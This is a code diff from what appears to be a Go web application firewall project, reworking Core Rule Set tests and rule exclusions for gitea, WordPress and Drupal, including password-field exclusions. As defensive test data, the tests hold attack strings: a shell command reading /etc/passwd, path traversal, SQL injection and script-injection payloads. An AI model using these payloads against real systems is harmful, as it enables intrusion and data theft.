for _, value := range values { for _, value := range values {
if name == "Cookie" { if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead) value = withoutCookiesNotRead(value)
if value == "" { if value == "" {
continue // it held those cookies alone continue // it held those cookies alone
} }
@@ -511,26 +523,9 @@ func score(tx types.Transaction) int {
return n return n
} }
// appsFor returns the names of the apps whose fixes a request for host, // withoutCookiesNotRead returns value, a Cookie header's, without the
// its Host header, gets: every app while SWW_APPS is unset, and otherwise // cookies in cookiesNotRead.
// those SWW_APPS lists for host's name, without the port and in func withoutCookiesNotRead(value string) string {
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string var kept []string
for cookie := range strings.SplitSeq(value, ";") { for cookie := range strings.SplitSeq(value, ";") {
+290 -168
View File
@@ -1,8 +1,10 @@
package coreruleset_test package coreruleset_test
import ( import (
"context"
"encoding/json" "encoding/json"
"fmt" "fmt"
"math/rand/v2"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"net/netip" "net/netip"
@@ -36,14 +38,12 @@ var loaded = struct {
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}} }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params // loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for. %#v writes a nil // once, making it the first time params are asked for.
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) { func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock() loaded.Lock()
defer loaded.Unlock() defer loaded.Unlock()
settings := fmt.Sprintf("%#v", params) settings := fmt.Sprintf("%+v", params)
load, found := loaded.loaders[settings] load, found := loaded.loaders[settings]
if !found { if !found {
@@ -157,10 +157,9 @@ func inspectBody(
} }
for _, header := range r.headers { for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers, // Go's server keeps Host and Transfer-Encoding out of the headers.
// whatever their case.
name, value, _ := strings.Cut(header, ": ") name, value, _ := strings.Cut(header, ": ")
switch http.CanonicalHeaderKey(name) { switch name {
case "Host": case "Host":
req.Host = value req.Host = value
case "Transfer-Encoding": case "Transfer-Encoding":
@@ -205,8 +204,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
} }
// wantChange checks that crs lets through passes, a request one of the // wantChange checks that crs lets through passes, a request one of the
// six changes or an app's fixes are for, and still finds result in // fourteen changes is for, and still finds result in refused, a request like
// refused, a request like it that they are not for. // it that the change is not for.
func wantChange( func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result, result coreruleset.Result,
@@ -467,123 +466,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160)) matched(930120, 932160))
} }
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the // withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path. // exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) { func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -744,25 +626,275 @@ const passwordField = "password="
//nolint:gochecknoglobals // a constant cannot be a list //nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary // randomPassword returns a password of 20 characters, each one of the 95
// requests in the file name in testdata is refused on example.com, where // printable ASCII characters, space included, drawn from random.
// they were recorded, while SWW_APPS lists only app for it. They are func randomPassword(random *rand.Rand) string {
// checked at the defaults and while bodies are read. With SWW_APPS unset, const length = 20
// every app's fixes apply. These only switch checks off, so the requests
// pass then too. A request with neither a body nor a Content-Type header is var printable []byte
// checked only at the defaults: with neither, the set that reads bodies has for c := byte(' '); c <= '~'; c++ {
// nothing more to check. Each request runs as its own parallel subtest. printable = append(printable, c)
func wantRecordedRequestsPass(t *testing.T, name, app string) { }
password := make([]byte, length)
for i := range password {
password[i] = printable[random.IntN(len(printable))]
}
return string(password)
}
// rarePasswords are random passwords from randomPasswords' seed, found among
// the first 1,000,000. Each sets off the rule named beside it, which the first
// 2,000 do not set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var rarePasswords = []string{
"x)g|E0f)~.um%00G]<oA", // 920270
"uC?mK\\U2fEbXA}~j7fPb", // 920540
"4;yfIDKZYNtZT)(w-=%@", // 921200
"`sAIfEVdBprjxR$/.?\\d", // 930100
"Unt@1xza,:%j$/..;5y+", // 930110
"VN.CVsu^3vbUS==4Q&Y@", // 930120
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
" /\"j14y[%\\(iM]zmG%=^", // 932130
"\\f*q5v$]$IfS3JoY:*r1", // 932160
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
"pErl>vR[Z7K^<f%_4,WZ", // 932260
"){2P,GU}a3mYvjq^(p1^", // 932280
"xw4UGJk!-8#ZE(`.ij.O", // 932330
" XVw(2mN5R,+%~_f\"n<?", // 933100
"0ZK1D>`RHb+RW${/(z}C", // 933135
"Ep3!qqe 7$RT(_)@SLV6", // 933180
"&:4WomDrn$\"(SE_D);Ja", // 933210
"='nlIgN7ON\\\\mWt=Tr84", // 941120
"P]/C>Ef]F-<sV,&gs.[4", // 941160
"<!--a\"9Ju}r!2=J-kZDd", // 941180
"@`].*EJ?`Cw^8\\orD!(f", // 942151
"StTj*t:IF(Uq_<aG0mya", // 942230
"t,D-oJjnvL Dn!o::Int", // 942320
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
"`aV#3${J4,\\h.q' k\\${", // 944150
}
// randomPasswords returns 2,000 random passwords from a fixed seed, then
// rarePasswords.
func randomPasswords() []string {
const count, seed = 2000, 276
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
passwords := make([]string, count, count+len(rarePasswords))
for i := range passwords {
passwords[i] = randomPassword(random)
}
return append(passwords, rarePasswords...)
}
// passwordBody returns a body of r's type, form data or JSON, that sends
// each of passwords in the field name. Coraza checks each value of a field
// on its own, and keeps every value of a JSON key sent more than once.
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
t.Helper()
if r.headers[0] != jsonBody {
return formBody(name, passwords...)
}
values := make([]string, len(passwords))
for i, password := range passwords {
pair, err := json.Marshal(map[string]string{name: password})
if err != nil {
t.Fatal(err)
}
values[i] = strings.Trim(string(pair), "{}")
}
return "{" + strings.Join(values, ",") + "}"
}
// formBody returns a form data body that sends each of values in the field
// name.
func formBody(name string, values ...string) string {
fields := make([]string, len(values))
for i, value := range values {
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
}
return strings.Join(fields, "&")
}
// setsOffARule reports whether body, form data sent to / as a browser
// sends it, sets off a rule in crs.
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
"http://git.example/", strings.NewReader(body))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
// The body is read from memory, which cannot fail.
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
return len(result.RuleIDs) > 0
}
// findMisfiringPasswords returns those of randomPasswords that set off a
// rule in the form data field password on /, which no exclusion names, while
// bodies are read. It runs once, for every test that asks. Each body sends
// ten passwords, and a body that sets off a rule is sent again one password
// at a time.
//
//nolint:gochecknoglobals // the tests share it
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})()
if err != nil {
return nil, err
}
passwords := randomPasswords()
misfires := make([]bool, len(passwords))
var inspecting sync.WaitGroup
for worker := range workers {
inspecting.Go(func() {
for first := worker * perBody; first < len(passwords); first += workers * perBody {
last := min(first+perBody, len(passwords))
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
continue
}
for i := first; i < last; i++ {
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
}
}
})
}
inspecting.Wait()
var misfiring []string
for i, password := range passwords {
if misfires[i] {
misfiring = append(misfiring, password)
}
}
return misfiring, nil
})
// misfiringPasswords returns those of randomPasswords that set off a rule in
// a field no exclusion names. The rules that misfire on a password read its
// value, not the name of its field. So the other random passwords set off no
// rule in any field.
func misfiringPasswords(t *testing.T) []string {
t.Helper()
misfiring, err := findMisfiringPasswords()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
for _, rare := range rarePasswords {
if !slices.Contains(misfiring, rare) {
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
}
}
return misfiring
}
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
// field name of r's body, is refused while bodies are read. r's Content-Type
// is form data or JSON. Only the passwords misfiringPasswords returns set off
// a rule in some field, so only they are sent, all in one body. If it is
// refused, each is sent again on its own, to name those refused.
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper() t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
apps := map[string][]string{"example.com": {app}} crs := readingBodies(t)
defaults := servingApps(t, apps) misfiring := misfiringPasswords(t)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, body := passwordBody(t, r, name, misfiring...)
Apps: apps, if len(body) > bodyLimit {
}) t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
return
}
for _, password := range misfiring {
body := passwordBody(t, r, name, password)
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
password, got)
}
}
}
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
// shell command and a script in an event handler, each sent as the whole
// password in the field name of r's body, pass while bodies are read.
func wantPasswordAttacksPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
"<img src=x onerror=x()>",
} {
body := passwordBody(t, r, name, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
attack, got)
}
}
}
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
// each sent as the whole password in the field name of r's body, are refused
// while bodies are read.
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, name, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
attack, got)
}
}
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) { for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -798,13 +930,10 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
// The recorded requests pass on giteaHost with gitea's fixes alone. The
// attacks are refused at the defaults, where every app's fixes apply.
giteaOnly := servingApps(t, map[string][]string{giteaHost: {gitea}})
crs := atDefaults(t) crs := atDefaults(t)
for _, r := range giteaRequests(t) { for _, r := range giteaRequests(t) {
if got := inspect(t, giteaOnly, withHost(r, giteaHost)); got.Score >= threshold { if got := inspect(t, crs, r); got.Score >= threshold {
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got) t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
} }
} }
@@ -966,22 +1095,12 @@ func wordpressAttackTargets(attack string) []string {
} }
} }
// wantWordPressRequestsPass checks that the recorded ordinary WordPress func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
// requests pass on otherHost, where they were recorded, while SWW_APPS lists t.Parallel()
// only wordpress for it. They pass at the defaults, and those with a body
// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
// checks off, so the requests pass with SWW_APPS unset too.
func wantWordPressRequestsPass(t *testing.T) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
apps := map[string][]string{otherHost: {wordpress}} defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
Apps: apps,
})
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") { for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) { t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
@@ -1002,16 +1121,6 @@ func wantWordPressRequestsPass(t *testing.T) {
} }
}) })
} }
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
wantWordPressRequestsPass(t)
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, attack := range []string{ for _, attack := range []string{
sqlInjection, sqlInjection,
@@ -1498,6 +1607,16 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la") wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
} }
func TestWordPressPasswordsPass(t *testing.T) {
t.Parallel()
signIn := request{http.MethodPost, wpLogin, []string{formData}}
wantRandomPasswordsPass(t, signIn, "pwd")
wantPasswordAttacksPass(t, signIn, "pwd")
wantPasswordAttacksRefused(t, signIn, "pwd")
}
func TestWordPressExclusionsAreNarrow(t *testing.T) { func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel() t.Parallel()
@@ -1555,6 +1674,9 @@ const injection = "1' OR '1'='1"
// scriptTag is a script injection, not escaped. // scriptTag is a script injection, not escaped.
const scriptTag = "<script>alert(1)</script>" const scriptTag = "<script>alert(1)</script>"
// pathTraversal is a path traversal, not escaped.
const pathTraversal = "../../etc/passwd"
// readingBodies returns the Core Rule Set as sww runs it by // readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit. // default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
+41 -10
View File
@@ -1,4 +1,4 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused # The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a # ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the # search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the # request, before the rules it switches off, so this file is loaded before the
@@ -25,13 +25,6 @@
# 932230: ls -la # 932230: ls -la
# 932235: python3 # 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to: # Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3 # title: /admin/content?title=python3
# name: /admin/content/media?name=python3 # name: /admin/content/media?name=python3
@@ -191,6 +184,46 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/" ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# The password, pass, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900819,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
# A person's name and email address, when signing up, when editing an # A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused # account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address # signing up, and python3@example.com refused saving an account. An address
@@ -244,5 +277,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \ SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail" ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+18 -18
View File
@@ -5,8 +5,6 @@ import (
"net/url" "net/url"
"slices" "slices"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -36,21 +34,7 @@ const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) { func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal") wantRecordedRequestsPass(t, "drupal-requests.txt")
}
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
} }
// drupalAttacks are an SQL injection, a path traversal and a script // drupalAttacks are an SQL injection, a path traversal and a script
@@ -125,7 +109,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack}, {reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack}, {reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack}, {reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack}, {drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack}, {"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack}, {"/user/register", drupalName + attack},
@@ -188,6 +171,23 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
} }
} }
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
wantPasswordAttacksPass(t, r, "pass")
wantPasswordAttacksRefused(t, r, "pass")
})
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel() t.Parallel()
+7 -56
View File
@@ -1,55 +1,8 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests. # The eighth change: on gitea's paths, some fields skip the rules that refused
# They are the fields where gitea sends a search, a file name or a branch name. # ordinary gitea requests there. They are the fields where gitea sends a search,
# Each exclusion runs with the request, before the rules it switches off, those # a file name or a branch name. Each exclusion runs with the request, before the
# of phase 1 included, so this file is loaded before the Core Rule Set's rules. # rules it switches off, those of phase 1 included, so this file is loaded before
# Each comment names a request the rule refused. # the Core Rule Set's rules. Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
# ARGS holds the fields of a form data or multipart body Coraza reads as well
# as the query parameters, so a field of these names is left out too.
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
